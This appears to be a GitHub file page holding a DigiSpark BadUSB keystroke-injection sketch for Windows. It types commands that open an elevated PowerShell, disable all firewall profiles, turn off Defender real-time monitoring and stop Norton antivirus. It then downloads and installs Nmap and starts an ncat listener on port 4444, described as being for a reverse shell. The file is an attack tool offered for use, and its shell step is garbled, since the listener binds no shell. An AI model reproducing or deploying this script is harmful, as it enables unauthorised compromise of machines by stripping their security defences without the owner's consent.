-
Notifications
You must be signed in to change notification settings - Fork 1
/
Nmap-using-powershell.txt
85 lines (80 loc) · 3.24 KB
/
Nmap-using-powershell.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
//script for DOWNLOADING NMAP ON WINDOWS AND INSTALLING IT FOR TAKING REVERSE SHELL
#include <DigiKeyboard.h>
#include "DigiKeyboard.h"
void setup() {
// don't need to set anything up to use DigiKeyboard
}
void loop() {
// prevent missing the first character after a delay:
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_R , MOD_GUI_LEFT);
DigiKeyboard.delay(2000);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("Start-Process powershell -Verb runAs");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print("Stop-Service -Name Norton AntiVirus");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_R , MOD_GUI_LEFT);
DigiKeyboard.delay(2000);
DigiKeyboard.print("https://nmap.org/dist/nmap-7.93-setup.exe"); //CAN CHANGE THE DOWNLOAD LINK FOR LATEST NMAP
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(20000);
DigiKeyboard.sendKeyStroke(KEY_R , MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print("downloads");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_N); // FOR SEARCHING NMAP IN DOWNLOADED SECTION
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); // GIVING PERMISSIONS TO INSTALL
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(50000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_R , MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"); //OPENING POWERSHELL IN NMAP DOWNLAODED FORLDER TO RUN COMMAND (C:\Program Files (x86)\Nmap)
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print("ncat.exe -nlvp 4444"); //STARTING THE SESSION ON WINDOWS
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
for(;;){
}
}